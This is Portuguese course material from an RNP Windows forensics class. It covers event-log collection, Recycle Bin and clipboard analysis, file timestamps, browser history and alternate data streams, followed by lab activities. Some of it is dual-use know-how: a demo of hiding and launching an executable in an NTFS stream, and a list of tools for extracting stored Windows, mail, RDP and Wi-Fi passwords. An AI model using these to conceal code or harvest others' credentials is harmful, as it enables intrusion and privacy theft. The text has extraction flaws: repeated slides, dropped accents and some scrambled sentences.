Registro de eventos:
D:\IR\xp> ..\2k\res_kit\dumpel /?8 DUMPEL Usage: dumpel -f file [-s \\server] [-l log [-m source]] [e n1 n2 n3..] [-r] [-t] [-dx] -d <days> Filters for event last days (number larg er than zero) -e nn Filters for event id nn (up to 10 may be spe cified) -f <filename> Output filename (default stdout) -l <name> Dumps the specified log (system, applicat ion, security) -b Dumps a backup file (use -l to specify file name) -m <name> Filters for events logged by name -r Filters out events logged by name (must use -m t oo) -s <servername> Remote to servername -t Use tab to separate strings (default is space) -c Use comma to separate fields -ns Do not output strings -format <fmt> Specify output format.

Repare que a ferramenta mostrada no slide no est no caminho padro do prompt de comandos, tendo sido necessrio especificar o caminho completo para ele. Observe que a ferramenta bem verstil, permitindo restringir as consultas por data, padres de texto, alm de permitir formatar a sada da maneira que o investigador quiser.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

166

Inclusive, possvel especificar o separador de cada campo, o que permite carregar o log posteriormente em uma base de dados e desta forma facilitar as consultas aos eventos.

Coleta de registros de eventos (logs)


Registro de eventos
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by Somarsoft, Inc. LogType=Application Computer=(local) SystemRoot=C:\WINDOWS Outfile=\tmp\evtdump.txt Use HKEY_CURRENT_USER for saving record number Format=yes DateFormat=(locale dependent) TimeFormat=HH':'mm':'ss FieldSeparator=, ReplaceFieldSeparator= (blank)

Registro de eventos:
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt dump.txt8 Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by S omarsoft, Inc. LogType=Application Computer=(local) SystemRoot=C:\WINDOWS Outfile=\tmp\evtdump.txt Use HKEY_CURRENT_USER for saving record number8 Format=yes DateFormat=(locale dependent) TimeFormat=HH:mm:ss FieldSeparator=, ReplaceFieldSeparator= (blank)

Permite especificar o tipo de log que desejamos coletar, gerando uma sada j formatada para ser inserida em uma base de dados. O arquivo gerado por este comando poder ser ento importado em uma base de dados como um arquivo CSV separado por vrgulas, o que pode facilitar a anlise dos eventos, que muitas vezes contm milhares de linhas. Existe uma ferramenta disponvel no kit que no serve exclusivamente para visualizao de logs de eventos, embora tambm tenha esta funcionalidade. Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite visualizar informaes sobre logs de eventos, instalaes de programas e atualizaes do Windows, alm de informaes gerais sobre o sistema.

Anlise forense Sesso de aprendizagem 10

167

Anlise de contedo do Recycle.Bin


Os arquivos removidos so enviados para uma pasta oculta representada no desktop pelo cone de uma lixeira. Existe um diretrio RECYCLER em cada partio do disco da mquina. Dentro deste diretrio existem subdiretrios cujos nomes so as identificaes de segurana do usurio (SID). Com a informao disponvel possvel identificar qual usurio removeu um arquivo especfico. Dentro do subdiretrio representado pelo SID existem sempre dois arquivos: desktop.ini e INFO2.

Anlise de contedo do Recycle.Bin


Quando os arquivos so removidos, so enviados para uma pasta oculta representada no desktop pelo cone de uma lixeira. Existe um diretrio RECYCLER em cada partio do disco da mquina. Dentro deste diretrio existem subdiretrios cujos nomes so as identificaes de segurana do usurio (SID). Com a informao disponvel possvel identificar qual usurio removeu um arquivo especfico.

Dentro do subdiretrio representado pelo SID existem sempre dois arquivos: desktop.ini e INFO2. Quando um arquivo apagado atravs do Windows Explorer, ele movido para o diretrio RECYCLER com um nome diferente do original. Por exemplo, o arquivo teste.txt quando apagado se transforma em Dc1.txt, ou seja, o arquivo removido tem origem no drive C, e o primeiro arquivo removido, com extenso .txt.

D:\IR\xp> dir /a c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-10068 17/01/2008 01/12/2007 29/01/2008 30/01/2008 00:05 14:50 14:42 22:10 389 Dc1 83 Dc2.txt 65 desktop.ini 1.620 INFO2

D:\IR\xp> sid2user 5 21 4042056708 2335835806 3410500470 10068 Name is Usuario Domain is COMPUTADOR Type of SID is SidTypeUser

Recycle.Bin

Podemos dizer que o segundo arquivo apagado presente neste diretrio um arquivo originalmente com extenso .txt, e que o primeiro no tem extenso. No kit de ferramentas existe um aplicativo chamado sid2user.exe, que permite converter o SID para o nome do usurio do sistema. Com isso, podemos identificar o usurio que apagou os arquivos.

Anlise de contedo do Recycle.Bin


Recycle.Bin
D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-23358358063410500470-1006\INFO2 INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-2335835806-34105004701006\INFO2 INDEX 1 2 DELETED TIME DRIVE NUMBER Tue Jan 29 20:21:58 2008 Thu Jan 31 00:10:42 2008 PATH 2 2 SIZE C:\s9k 4096 C:\dump.txt

D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-40420567082335835806-3410500470-1006\INFO28 INFO2 File: c:\RECYCLER\S-1-5-21-40420567082335835806-3410500470-1006\INFO2 INDEX DELETED TIME DRIVE NUMBER PATH 1 Tue Jan 29 20:21:58 2008 2 4096 2 Thu Jan 31 00:10:42 2008 2 C:\dump.txt 4096 SIZE C:\s9k

4096

Existe uma ferramenta no kit que permite listar as informaes presentes no arquivo INFO2 em um formato inteligvel, e dessa forma descobrir o nome original dos arquivos.
Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

168

Anlise de contedo do Clipboard


O contedo da rea de transferncia ou clipboard uma evidncia normalmente esquecida pelo investigador Existem trs tipos principais de informao que podem ser copiadas atravs da rea de transferncia: textos, imagens ou tabelas e arquivos Para verificar se existem arquivos na rea de transferncia, pode-se usar o Explorer para colar o contedo da rea de transferncia em um diretrio Para objetos complexos, possvel colar o contedo em um documento aberto no WordPad

Anlise de contedo do Clipboard


O contedo da rea de transferncia uma evidncia quase sempre esquecida pelo investigador, que pode conter informaes importantes sobre o uso recente do equipamento analisado; tambm conhecido como clipboard, pode conter informaes importantes esquecidas por algum usurio recente. Existem trs tipos principais de informao que podem ser copiadas atravs da rea de transferncia: textos, objetos complexos como imagens ou tabelas e arquivos.

Para verificar se existem arquivos na rea de transferncia, pode-se usar o Explorer para colar o contedo da rea de transferncia em um diretrio. Para objetos complexos, possvel colar o contedo em um documento aberto no WordPad.

Anlise de contedo do Clipboard


Clipboard
D:\IR\xp> pclip Informacoes de cartao de credito: 1234-1234-1234-1111 1234-1234-1234-1113 1234-1234-1234-1112

Infelizmente, a ferramenta para verificao da rea de transferncia que existe no kit de ferramentas permite mostrar somente textos que estejam na rea de transferncia.

Anlise de contedo de arquivos


Informaes sobre arquivos
D:\IR\xp> mac -d c:\windows MAC.pl Collect MAC times and owner from files in a directory. By default, search starts at current dir, looking at all files. NOTE: Beginning and end of search are timestamped. Output is in CSV format for easy opening in Excel. Start search,1201742514,Wed Jan 30 23:21:54 2008 File,Size,Last Access,Last Modification,Creation c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 30 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 08:19:37 2008 c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10 22:50:09 2003 c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09 2003

Anlise de contedo de arquivos


Informaes sobre arquivos:
D:\IR\xp> mac -d c:\windows8 MAC.pl Collect MAC times and owner from files in a directory. By default, search starts at current dir, looking a t all files. NOTE: Beginning and end of search are timestamped. O utput is in CSV format for easy opening in Excel. Start search,1201742514,Wed Jan 30 23:21:54 2008 File,Size,Last Access,Last Modification,Creation c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 3 0 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 0 8:19:37 2008 c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10 22:50:09 2003 c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09 2003

Anlise forense Sesso de aprendizagem 10

169

A ferramenta acima permite extrair as informaes de tempo de acesso, modificao e criao dos arquivos e format-las de forma a estarem prontas para serem inseridas numa base ou abertas em uma planilha. Alm disso, ela lista o usurio responsvel pela criao do arquivo.

Anlise de contedo de arquivos


Informaes sobre arquivos
D:\IR\xp> afind c:\windows\system32 Searching... c:\windows\system32\XPSViewer\en-us Finished

Informaes sobre arquivos:


D:\IR\xp> afind c:\windows\system328 Searching... c:\windows\system32\XPSViewer\en-us Finished D:\IR\xp> file -m ..\Cygwin\magic c:\WINDOWS\NOTEPAD.EXE8 c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS /2 or MS Windows

D:\IR\xp> file -m ..\Cygwin\magic c:\WINDOWS\NOTEPAD.EXE c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS/2 or MS Windows

A ferramenta permite procurar em um diretrio pelo ltimo arquivo acessado. Esta informao pode ser importante na anlise de um sistema que acabou de ser comprometido. Veja que listado acima o ltimo arquivo acessado dentro do diretrio especificado. Alm disso, o comando permite examinar o ltimo acesso a um determinado arquivo, ou listar arquivos acessados entre perodos determinados. O comando file.exe presente no kit de ferramentas funciona basicamente como sua verso Linux, mas necessrio especificar qual arquivo contm os padres de reconhecimento do tipo de arquivo.

Anlise de contedo de arquivos


Informaes sobre arquivos
D:\IR\xp> filestat c:\boot.ini Dumping c:\boot.ini... SD is valid. SD's Owner is Not NULL SID = BUILTIN/Administrators S-1-5-32-544 SID = / (Account Unknown) S-1-5-21-1607551490-981732888-1819828000-513 SID = BUILTIN/Administrators S-1-5-32-544 ACE 0 is an ACCESS_ALLOWED_ACE_TYPE ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN SID = NT AUTHORITY/SYSTEM S-1-5-18 ACE 1 is an ACCESS_ALLOWED_ACE_TYPE ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN Stream 1: Stream name = ???$?? Size: 116 Stream 2: Stream name = ???$?? Size: 211 Stream 3: Stream name = ???$?? Size: 64 Creation Time - 07/08/2004 10:51:38 Last Mod Time - 30/11/2007 11:32:08 Last Access Time - 30/01/2008 23:16:27

Informaes sobre arquivos:


D:\IR\xp> filestat c:\boot.ini8 Dumping c:\boot.ini... SD is valid. SDs Owner is Not NULL SID = BUILTIN/Administrators S-1-5-32-544 SID = / (Account Unknown) S-1-5-21-1607551490-98173 2888-1819828000-513 SID = BUILTIN/Administrators S-1-5-32-544 ACE 0 is an ACCESS_ALLOWED_ACE_TYPE ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD CHANGE_PERMS -TAKE_OWN SID = NT AUTHORITY/SYSTEM S-1-5-18 ACE 1 is an ACCESS_ALLOWED_ACE_TYPE ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD CHANGE_PERMS -TAKE_OWN Stream 1: Stream name = ???$?? Size: 116 Stream 2: Stream name = ???$?? Size: 211 Stream 3: Stream name = ???$?? Size: 64 Creation Time - 07/08/2004 10:51:38 Last Mod Time - 30/11/2007 11:32:08 Last Access Time - 30/01/2008 23:16:27

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

170

Veja que este comando produz informaes importantes sobre um arquivo, principalmente sobre permisses de segurana e streams alternativos .

Recuperao de dados ocultos ADS


Ocultao de dados: Alternate Data Streams (ADS) so dados associados a arquivos So utilizados por programas maliciosos e rootkits para esconder informaes no sistema Entretanto, sua origem e motivao so nobres: ADS so utilizados para armazenar informaes extras sobre um arquivo, como o Thumbnail de uma imagem ou o cone de um arquivo

Recuperao de dados ocultos ADS


Alternate Data Streams (ADS) so dados associados a arquivos . Como vimos anteriormente, um arquivo em um sistema de arquivos NTFS definido por diversos atributos . Estes atributos extras so os chamados ADS . O atributo Data, que define a rea onde o contedo do arquivo vai ser armazenado, pode ser definido mais de uma vez .

ADS so utilizados por muitos programas maliciosos e rootkits para esconder informaes no sistema . Apesar disso, sua origem e motivao so nobres: ADS so utilizados para armazenar informaes extras sobre um arquivo, como o Thumbnail de uma imagem ou o cone de um arquivo .

Recuperao de dados ocultos ADS


Ocultao de dados:
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt D:\IR\xp> dir d:\tmp\file.txt 31/01/2008 00:40 30 file.txt

Ocultao de dados:
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp \file.txt8

D:\IR\xp> dir d:\tmp\file.txt8 31/01/2008 00:40 30 file.txt

D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt:adsdata.txt D:\IR\xp> dir d:\tmp\file.txt 31/01/2008 00:40 D:\IR\xp> type d:\tmp\file.txt Este e um arquivo de textos D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt Este e um stream ADS 30 file.txt

D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt :adsdata.txt8

D:\IR\xp> dir d:\tmp\file.txt8 31/01/2008 00:40 30 file.txt

D:\IR\xp> type d:\tmp\file.txt8 Este e um arquivo de textos

Recuperao de dados ocultos ADS


Ocultao de dados:
D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file.txt:np.exe D:\IR\xp> start d:\tmp\file.txt:np.exe D:\IR\xp> dir d:\tmp\file.txt 31/01/2008 00:43

D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt8 Este e um stream ADS

30 file.txt

Como podemos observar, possvel armazenar dados atrelados ao arquivo original file.txt, sem que estejam visveis e sejam detectados . A princpio no existe limitao de nmero e tamanho para os arquivos ADS, e inclusive possvel executar programas que esto ocultos no ADS .
D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file. txt:np.exe8

Anlise forense Sesso de aprendizagem 10

171

D:\IR\xp> start d:\tmp\file.txt:np.exe8

D:\IR\xp> dir d:\tmp\file.txt8 31/01/2008 00:43 30 file.txt

Ao realizar a ao descrita no slide veremos um notepad aberto na tela, e ao verificar no Gerenciador de tarefas observaremos que o executvel um ADS; o arquivo file.txt:adsdata.txt continua disponvel . Quando o arquivo de origem removido (neste caso file.txt) no se pode mais acessar os ADS que estavam a ele relacionados . No entanto, os dados continuam no disco at serem eventualmente sobrescritos . Em um sistema onde foram encontrados indcios do uso de ADS, pode ser necessrio realizar uma pesquisa completa na imagem do disco .

Recuperao de dados ocultos ADS


Ocultao de dados:
D:\IR\xp> ads d:\tmp d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes) D:\IR\xp> streams d:\tmp\* d:\tmp\teste.txt: :adsdata.txt:$DATA 23 :np.exe:$DATA 69120 D:\IR\xp> sfind d:\tmp Searching... d:\tmp teste.txt:adsdata.txt Size: 23 teste.txt:np.exe Size: 69120 Finished

Ocultao de dados:
D:\IR\xp> ads d:\tmp8 d:\tmp\teste.txt:adsdata.txt (23 bytes) d:\tmp\teste.txt:np.exe (69120 bytes) D:\IR\xp> streams d:\tmp\*8 d:\tmp\teste.txt: :adsdata.txt:$DATA 23 :np.exe:$DATA 69120 D:\IR\xp> sfind d:\tmp8 Searching... d:\tmp teste.txt:adsdata.txt Size: 23 teste.txt:np.exe Size: 69120 Finished

As ferramentas acima podem ser usadas para detectar a presena de ADS em um arquivo ou diretrio . importante notar que alguns arquivos do sistema contm ADS, como os arquivos Thumbs.db criados pelo Explorer, que precisam disso para funcionar .

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

172

Anlise do histrico de navegao


Histrico de navegao
D:\IR\xp> pasco -d "c:\Documents and Settings\Usuario\Cookies\index.dat

Anlise do histrico de navegao


Histrico de navegao:
D:\IR\xp> pasco -d c:\Documents and Settings\Usuar io\Cookies\index.dat8 History File: c:\Documents and Settings\hp\Cookies\ index.dat TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTO RY HTTP HEADERS URL Cookie:hp@onlinestores.metaservices.microsoft.c om /serviceswitching/Thu Jan 10 04:00:46 2008 Wed J an 30 23:56:31 2008 hp@onlinestores.metaservices.mi crosoft[1].txt URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008 Thu Jan 31 03:28:55 2008 hp@rad.msn[1].txt URL URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16 :36 2008 Thu Jan 31 01:16:36 2008 hp@ad.adnetwork. com[1].txt URL

History File: c:\Documents and Settings\hp\Cookies\index.dat TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTORY HTTP HEADERS URL Cookie:hp@onlinestores.metaservices.microsoft.com /serviceswitching/Thu Jan 10 04:00:46 2008 Wed Jan 30 23:56:31 2008 hp@onlinestores.metaservices.microsoft[1].txt URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008 Thu Jan 31 03:28:55 2008 hp@rad.msn[1].txt URL URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16:36 2008 Thu Jan 31 01:16:36 2008 hp@ad.adnetwork.com[1].txt
URL

Anlise do histrico de navegao


Histrico de navegao
D:\IR\xp> galleta "C:\Documents and Settings\Usuario\Application Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt" Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS

.google.com TRUE / FALSE 1262741102 PREF ID=66ce23137a6d713d:FF= 4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM 0IeCa il.google.com FALSE /mail FALSE 1348445213 gmailchat 60644 .google.com TRUE /mail/ FALSE 1262402786 __utmx 173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970 .google.com TRUE /FALSE 1506634851 rememberme true

Os histricos de navegao web e cookies armazenados podem fornecer informaes importantes sobre o mau uso do sistema . Eles informam, por exemplo, se um usurio visitou algum site no permitido ou capaz de infectar a mquina com algum programa malicioso . Sendo assim, importante para o investigador coletar e analisar esse tipo de informao . Esta ferramenta permite listar o contedo do arquivo de cookies do Internet Explorer, o que pode ser importante para identificar spywares ou acessos a sites imprprios .

D:\IR\xp> galleta C:\Documents and Settings\Usuario\Application Data\Mozilla\F irefox\Profiles\1jwwc64n.default\cookies.txt8 Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Prof iles\1jwwc64n.default\cookies.txt SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS

.google.com TRUE / FALSE 1262741102 PREF ID=66ce23137a6d713d:FF= 4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM0IeCa il.google.com FALSE /mail FALSE 1348445213 gmailchat 60644 .google.com TRUE /mail/ FALSE 1262402786 __utmx 173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970 .google.com TRUE /FALSE 1506634851 rememberme true

v v

Para coletar a mesma informao, mas de sistemas que utilizem o Mozilla ou Firefox, podemos usar a ferramenta galleta.exe .

Anlise forense Sesso de aprendizagem 10

173

Anlise do histrico de navegao

Como podemos observar nos exemplos do slide, as sadas de ambas as ferramentas utilizam um formato parecido, com campos separados por TAB, o que facilita a insero destes dados em uma tabela ou base de dados. No slide podemos observar os cookies, com respectivas datas de criao, modificao e acesso, e os valores correspondentes.

Anlisea ferramenta MozillaCookiesView ,observamos que os valores so mostrado histrico de navegao Usando
dos nas colunas, junto com outras informaes sobre cada cookie.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

174

Uma caracterstica interessante da ferramenta IEHistoryView que ela lista no somente os sites visitados; como no Windows o Internet Explorer faz parte do sistema, qualquer acesso a arquivos feito pelo Explorer tambm conta como um site, e esta informao mostrada acima, como podemos ver pelas URLs que comeam por file:// .

Recuperao de senhas
Ferramentas do kit para recuperao de senhas de diversos servios do Windows e de aplicativos instalados. As ferramentas expem informaes privativas dos usurios do computador, que podem no fazer parte da investigao. Por isso, o investigador deve ter conscincia da importncia de manter estas informaes sob sigilo, e no utiliz-las para qualquer finalidade que no seja uma ao direta da investigao. O computador em uso no deve utilizar senhas pessoais.

Recuperao de senhas
Para finalizar nosso curso, vamos conhecer as ferramentas presentes no kit que permitem ao investigador recuperar senhas de diversos servios do Windows e de aplicativos instalados. Tais ferramentas expem informaes privativas dos usurios do computador, e muitas vezes este tipo de informao pode no fazer parte do objetivo da investigao. Por isso, o investigador deve ter conscincia da importncia de manter estas informaes sob sigilo, e no utiliz-las para qualquer finalidade que no seja a de uma ao direta da investigao.

Devemos ter conscincia de que o computador utilizado compartilhado com diversos usurios e, portanto, no devemos utilizar senhas pessoais. O mais importante: se utilizar alguma das ferramentas a seguir, evite divulgar as informaes que porventura consiga visualizar.

Anlise forense Sesso de aprendizagem 10

175

Recuperao de senhas
accesspv.exe lsasecretsview.exe mailpv.exe mspass.exe netpass.exe pspv.exe pstpassword.exe rdpv.exe wirelesskeyview.exe

\\accesspv.exe

Permite visualizar senhas de arquivos Access. Acessa diversas chaves de registro que armazenam senhas. Lista login e senha de usurios configurados no MSN ou Hotmail. Lista login e senha de usurios configurados no MSN. Visualiza senhas armazenadas de auto-logon, Windows Live e .NET. Protected Storage Pass View, senhas armazenadas pelo Internet Explorer.

\\lsasecretsview.exe

\\mailpv.exe

\\mspass.exe

\\netpass.exe

\\pspv.exe

\\pstpassword.exe \\rdpv.exe

Visualiza senhas em arquivos do Microsoft Outlook.

Visualiza senhas configuradas no Remote Desktop. Visualiza senhas configuradas para redes wireless.

\\wirelesskeyview.exe

Concluses
Conhecemos ferramentas e tcnicas para coleta de informaes importantes em sistemas Windows. Aprendemos tcnicas para realizao de anlise forense e ferramentas para uma resposta inicial a um incidente. O aluno j possui conhecimentos para realizar anlises em computadores comprometidos e identificar os responsveis e eventos que comprometeram o sistema. importante que o aluno entenda que este material serve como uma base para que ele possa pesquisar e se aprofundar no assunto.

Concluses
Conhecemos diversas ferramentas e tcnicas para coleta de informaes importantes em sistemas Windows. Durante o curso, o aluno aprendeu tcnicas de anlise forense e conheceu ferramentas para uma resposta inicial a um incidente.

A partir de agora, o aluno possui uma base de conhecimento para realizar anlises em computadores comprometidos e identificar responsveis e eventos que possam ter causado o comprometimento do sistema, e com isso desenvolver medidas preventivas contra ataques. Mesmo assim, importante que o aluno entenda que este material serve como uma base para que ele possa pesquisar e se aprofundar no assunto. As atividades prticas e a bibliografia ajudam-no a iniciar sua pesquisa por mais informaes.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

176

Anlise forense Sesso de aprendizagem 10

10
Sesso de aprendizagem 10 Anlise forense avanada em Windows (parte 2) Roteiro de atividades
Tpicos e conceitos
\\Identificar

as conexes de rede e informaes do sistema operacional

Windows.

Competncias tcnicas desenvolvidas


\\Identificar

as conexes e portas ativas de rede e outras informaes volteis da estao Windows.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

178

Atividade 1 Coleta de informaes de redes


Usando as ferramentas vistas nessa sesso, colete todas as evidncias sobre conexes de rede em sua estao. Pesquise na internet as portas abertas em sua estao e descreva o servio oferecido por elas. Pesquise tambm as vulnerabilidades que podem afetar as portas.

Atividade 2 Coleta de informaes em registros do Windows


Utilizando as ferramentas de anlise do registro, examine o registro de sua estao e faa um relatrio sobre o contedo das chaves importantes, de acordo com o que foi mostrado no texto. Existe alguma inconsistncia no resultado das ferramentas? Faa tambm uma cpia completa do registro.

Atividade 3 Anlise de contedo do Recycle.Bin


Faa um relatrio sobre o contedo dos diretrios Recycler em sua estao. Liste todos os usurios disponveis e o contedo dos diretrios Recycler de cada um. Capture o contedo da rea de transferncia e coloque em seu relatrio. Faa tambm uma pesquisa pelo ltimo arquivo acessado no drive C: e coloque no relatrio todas as informaes possveis sobre ele.

Atividade 4 Recuperao de dados ocultos ADS


Procure no disco de sua estao por arquivos que contenham Alternate Data Streams. Faa um resumo dos tipos de arquivos encontrados.

Atividade 5 Anlise do histrico de navegao


Examine o histrico de navegao e cookies em sua estao. Voc consegue dizer se a estao foi utilizada para acessar sites que no tm a ver com o curso? Que tipo de informao voc considera mais importante para uma investigao?

Anlise forense Sesso de aprendizagem 10

179

Atividade 6 Recuperao de senhas


Utilizando as ferramentas vistas no item de recuperao de senhas, examine as informaes armazenadas em sua estao. Faa um relatrio das senhas que encontrar. Lembre-se de manter o sigilo sobre o que encontrar, mas informe ao seu instrutor se encontrar alguma senha de uso pessoal armazenada na estao.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

180

Anlise forense Sesso de aprendizagem 10

Bibliografia
\\Access \\Alertas

Data. Acesso em maro de 2008, disponvel em: http://www.accessdata.com/

do CAIS. Acesso em maro de 2008, disponvel em: http://www.rnp.br/cais/alertas/ of the ATD OpenSSL Mass Exploiter. Acesso em maro de 2008, disponvel em SecureWorks: http://www.lurhq.com/atd.html hacker tool has been detected. Acesso em maro de 2008, disponvel em Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt Forensic Browser. Acesso em maro de 2008, disponvel em: http://www.sleuthkit.org/autopsy/ Free. Acesso em maro de 2008, disponvel em: http://free.grisoft.com/doc/2/lng/us/tpl/v5 Acesso em maro de 2008, disponvel em: http://www.bitdefender.com/site/Downloads/ from SearchSecurity.com. Acesso em maro de 2008, disponvel em SearchSecurity.com Definitions: http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html from Wikipedia. Acesso em maro de 2008, disponvel em Wikipedia: http://en.wikipedia.org/wiki/Botnet Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL. Acesso em maro de 2008, disponvel em CERT: http://www.cert.org/advisories/CA-2002-23.html Acesso em maro de 2008, disponvel em: http://www.chkrootkit.org

\\Analysis

\\Another

\\Autopsy

\\AVG

\\BitDefender.

\\Botnet

\\Botnet

\\CERT

\\Chkrootkit. \\Clam

AntiVirus. Acesso em maro de 2008, disponvel em: http://www.clamav.org/about/lang-pref/pt/ Desktop Encyclopedia: slack space. Acesso em maro de 2008, disponvel em Answers.com: http://www.answers.com/topic/slack-space?cat=technology Forensic Research Workshop. Acesso em maro de 2008, disponvel em DFRWS: http://www.dfrws.org/

\\Computer

\\Digital

\\Dynamic-link

library from Wikipedia. Fonte: Wikipedia: http://en.wikipedia.org/wiki/Dynamic-link_library Forensic. Acesso em maro de 2008, disponvel em Guidance Software: http://www.guidancesoftware.com/products/ef_index.asp M. o. (6 de agosto de 1999). Murder_on_the_Internet_Express.pdf. Acesso em maro de 2008, disponvel em Neoprag: http://www.neoprag.com/dcm/Murder_on_the_Internet_Express.pdf Computers, Inc. Acesso em maro de 2008, disponvel em: http://www.forensic-computers.com/index.php Windows Tools. Acesso em maro de 2008, disponvel em Open Source Digital Forensics: http://www.opensourceforensics.org/tools/windows.html Tools. Acesso em maro de 2008, disponvel em ForinSect - Forensics, Intrusion Detection, Security Technology: http://www.forinsect.de/forensics/forensics-tools.html Antivirus. Acesso em maro de 2008, disponvel em: http://www.f-prot.com/download/home_user/ Incident Response & Computer Forensics Live CD by e-fense, Inc. Acesso em maro de 2008, disponvel em Helix Live CD: http://www.e-fense.com/helix from Forensics Wiki. Acesso em maro de 2008, disponvel em Forensics Wiki: http://www.forensicswiki.org/index.php?title=Helix Pro. Acesso em maro de 2008, disponvel em DataRescue: http://www.datarescue.com/ Security Rescue Toolkit. Acesso em maro de 2008, disponvel em Inside Security: http://www.inside-security.de/insert_en.html Acesso em maro de 2008, disponvel em Feedface: http://www.feedface.com/projects/ldasm.html Acesso em maro de 2008, disponvel em Symantec: http://www.symantec.com/security_response/writeup.jsp?docid=2004-052312-2729-99 Acesso em maro de 2008, disponvel em sourceforge.net: http://md5deep.sourceforge.net NTFS File System. Acesso em maro de 2008, disponvel em Microsoft TechNet: http://www.microsoft.com/technet/prodtechnol/windows2000serv/ reskit/core/fncc_fil_khzt.mspx?mfr=true worm tries to undo Blaster damage - but no virus is a good virus, says Sophos. (19 de Ago de 2003). Acesso em maro de 2008, disponvel em Sophos: http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html Software Reference Library. Acesso em maro de 2008, disponvel em: http://www.nsrl.nist.gov/

\\EnCase

\\Express,

\\Forensic

\\Forensic

\\Forensics

\\F-PROT

\\Helix:

\\Helix

\\IDA

\\Inside

\\LDasm.

\\Linux.RST.B.

\\md5deep.

\\Microsoft

\\Nachi

\\National

\\NIST.

Cryptographic hash project. Fonte: NIST.gov: http://www.csrc.nist.gov/groups/ST/hash/index.html file system. Acesso em maro de 2008, disponvel em Digit-Life: http://www.digit-life.com/articles/ntfs/ Master File Table (MFT). Acesso em maro de 2008, disponvel em NTFS.com: http://www.ntfs.com/ntfs-mft.htm System (Metadata) Files. Acesso em maro de 2008, disponvel em PCGuide: http://www.pcguide.com/ref/hdd/file/ntfs/archFiles-c.html Acesso em maro de 2008, disponvel em OllyDbg: http://www.ollydbg.de/

\\NTFS

\\NTFS

\\NTFS

\\OllyDbg. \\Ondrej,

M. (2 de dezembro de 2004). Practical Attacks on Digital Signatures Using MD5 Message Digest. Acesso em maro de 2008, disponvel em: http://cryptography.hyperlink.cz/2004/collisions.htm Antivirus. Acesso em maro de 2008, disponvel em Panda Security: http://www.pandasecurity.com/brazil/ J. D. Forensics under Brazilian Legislation. Acesso em maro de 2008, disponvel em GIAC Certified Forensic Analyst (GCFA) Practical Assignment: http://www.giac.org/certified_professionals/practicals/gcfa/86.php Flvio Aparecido. Percia forense computacional baseada em sistema operacional Windows XP Professional. Sorocaba: Senac, 2007.

\\Panda

\\Piccolini,

\\Pimenta,

\\ProcessLibrary.com.

